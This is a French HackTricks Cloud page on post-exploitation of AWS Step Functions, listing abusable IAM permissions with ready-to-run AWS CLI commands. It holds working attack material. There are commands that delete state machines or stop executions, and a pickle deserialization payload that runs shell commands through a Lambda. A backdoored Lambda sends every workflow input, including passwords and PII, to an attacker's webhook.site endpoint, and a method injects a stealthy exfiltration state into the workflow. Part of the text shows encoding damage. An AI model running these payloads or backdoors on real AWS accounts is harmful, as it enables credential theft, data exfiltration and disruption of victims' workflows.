AWS - Step Functions Post Exploitation
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Step Functions
Pour plus dâinformations sur ce service AWS, consultez :
states:RevealSecrets
Cette permission permet de rĂ©vĂ©ler des donnĂ©es secrĂštes Ă lâintĂ©rieur dâune exĂ©cution. Pour cela, il faut dĂ©finir le niveau dâinspection sur TRACE et le paramĂštre revealSecrets sur true.
.png)
states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias
Un attaquant disposant de ces permissions pourrait supprimer dĂ©finitivement des state machines, leurs versions et alias. Cela peut perturber des workflows critiques, entraĂźner une perte de donnĂ©es et nĂ©cessiter un temps important pour rĂ©cupĂ©rer et restaurer les state machines affectĂ©es. De plus, cela permettrait Ă un attaquant dâeffacer les traces utilisĂ©es, de perturber les enquĂȘtes forensiques et potentiellement de paralyser les opĂ©rations en supprimant des processus dâautomatisation essentiels et des configurations dâĂ©tat.
Note
- En supprimant une state machine, vous supprimez également toutes ses versions et alias associés.
- En supprimant un alias de state machine, vous ne supprimez pas les versions de state machine faisant référence à cet alias.
- Il nâest pas possible de supprimer une version de state machine actuellement rĂ©fĂ©rencĂ©e par un ou plusieurs alias.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
- Impact potentiel: perturbation des workflows critiques, perte de données et indisponibilité opérationnelle.
states:UpdateMapRun
Un attaquant disposant de cette permission pourrait manipuler la configuration dâĂ©chec de Map Run et le paramĂštre parallel, pouvant augmenter ou diminuer le nombre maximal dâexĂ©cutions enfants de workflow autorisĂ©es, affectant directement les performances du service. De plus, un attaquant pourrait altĂ©rer le pourcentage et le nombre de dĂ©faillances tolĂ©rĂ©es, pouvant rĂ©duire cette valeur Ă 0, de sorte que chaque fois quâun Ă©lĂ©ment Ă©choue, le Map Run entier Ă©chouerait, affectant directement lâexĂ©cution de la state machine et perturbant potentiellement des workflows critiques.
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
- Impact potentiel: Dégradation des performances et perturbation des processus critiques.
states:StopExecution
Un attaquant disposant de cette autorisation pourrait ĂȘtre en mesure dâarrĂȘter lâexĂ©cution de nâimporte quelle machine dâĂ©tat, perturbant les workflows et processus en cours. Cela pourrait entraĂźner des transactions incomplĂštes, lâarrĂȘt des opĂ©rations mĂ©tier et une corruption potentielle des donnĂ©es.
Warning
Cette action nâest pas prise en charge par les express state machines.
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
- Impact potentiel: Perturbation des workflows en cours, indisponibilité opérationnelle et possible corruption des données.
states:TagResource, states:UntagResource
Un attacker pourrait ajouter, modifier ou supprimer des tags sur les ressources Step Functions, perturbant lâallocation des coĂ»ts de votre organisation, le suivi des ressources et les politiques de contrĂŽle dâaccĂšs basĂ©es sur les tags.
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
Potential Impact: Perturbation de lâallocation des coĂ»ts, du suivi des ressources et des politiques de contrĂŽle dâaccĂšs basĂ©es sur les tags.
states:StartExecution -> Injection dâinput dans des sinks dangereux
states:StartExecution est un point dâentrĂ©e data-plane. Si une state machine transfĂšre un input contrĂŽlĂ© par lâattaquant vers une task qui contient un sink dangereux (par exemple une Lambda qui exĂ©cute pickle.loads(base64.b64decode(payload_b64))), vous pouvez parfois transformer StartExecution en code execution et secret exfiltration via la sortie dâexĂ©cution, sans aucune permission pour mettre Ă jour la state machine.
Découvrir le workflow et la Lambda invoquée
Si vous avez states:List* / states:Describe*, vous pouvez énumérer et lire la définition de la state machine :
REGION=us-east-1
SM_ARN="<state_machine_arn>"
aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text
Si vous avez également lambda:GetFunction, vous pouvez télécharger le bundle de code Lambda pour comprendre comment les entrées sont traitées (et confirmer si unsafe deserialization existe) :
LAMBDA_ARN="<lambda_arn_from_definition>"
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
ls -la /tmp/lambda_code
Exemple : pickle conçu dans lâentrĂ©e dâexĂ©cution (Python)
Si la Lambda effectue unpickle de donnĂ©es contrĂŽlĂ©es par lâattaquant, un pickle malveillant peut exĂ©cuter du code lors de la dĂ©sĂ©rialisation. Exemple de payload qui Ă©value une expression Python dans le runtime Lambda :
PAYLOAD_B64="$(python3 - <<'PY'
import base64, pickle
class P:
def __reduce__(self):
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
return (eval, ("__import__('os').popen('id').read()",))
print(base64.b64encode(pickle.dumps(P())).decode())
PY
)"
EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text
Impact : Toutes les permissions dont dispose le rĂŽle de tĂąche (Secrets Manager reads, S3 writes, KMS decrypt, etc.) peuvent ĂȘtre atteintes via une entrĂ©e spĂ©cialement conçue, et le rĂ©sultat peut ĂȘtre renvoyĂ© dans la sortie dâexĂ©cution de Step Functions.
states:UpdateStateMachine, lambda:UpdateFunctionCode
Un attaquant qui compromet un utilisateur ou un rĂŽle disposant des permissions suivantes :
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
âŠpeut mener une attaque post-exploitation Ă fort impact et discrĂšte en combinant Lambda backdooring avec la manipulation de la logique Step Function.
Ce scénario suppose que la victime utilise AWS Step Functions pour orchestrer des workflows qui traitent des entrées sensibles, telles que credentials, tokens ou PII.
Exemple dâinvocation de la victime:
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
Si la Step Function est configurĂ©e pour invoquer une Lambda comme LegitBusinessLogic, lâattaquant peut procĂ©der Ă deux variantes dâattaque furtives :
Mise Ă jour de la lambda function
Lâattaquant modifie le code de la lambda function dĂ©jĂ utilisĂ©e par la Step Function (LegitBusinessLogic) pour exfiltrer silencieusement les donnĂ©es dâentrĂ©e.
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
Ajouter un état malveillant au Step Function
Alternativement, lâattaquant peut injecter un exfiltration state au dĂ©but du workflow en mettant Ă jour la dĂ©finition du Step Function.
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
Lâattaquant peut ĂȘtre encore plus furtif en mettant Ă jour la dĂ©finition dâĂ©tat comme ceci { âCommentâ: âBackdoored for Exfiltrationâ, âStartAtâ: âExfiltrateSecretsâ, âStatesâ: { âExfiltrateSecretsâ: { âTypeâ: âTaskâ, âResourceâ: âarn:aws:lambda:us-east-1:victim-id:function:SendToAttackerâ, âInputPathâ: â$â, âResultPathâ: â$.exfilâ, âNextâ: âOriginalStateâ }, âOriginalStateâ: { âTypeâ: âTaskâ, âResourceâ: âarn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogicâ, âEndâ: true } } } oĂč la victime ne remarquera pas la diffĂ©rence
Victim Setup (Context for Exploit)
- A Step Function (
LegitStateMachine) is used to process sensitive user input. - Il appelle une ou plusieurs fonctions Lambda telles que
LegitBusinessLogic.
Impact potentiel:
- Exfiltration silencieuse de données sensibles, y compris des secrets, identifiants, clés API et PII.
- Aucun erreur ou Ă©chec visible dans lâexĂ©cution du workflow.
- Difficile Ă dĂ©tecter sans auditer le code des fonctions Lambda ou les traces dâexĂ©cution.
- Permet une persistance Ă long terme si la backdoor reste dans le code ou la logique ASL.
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

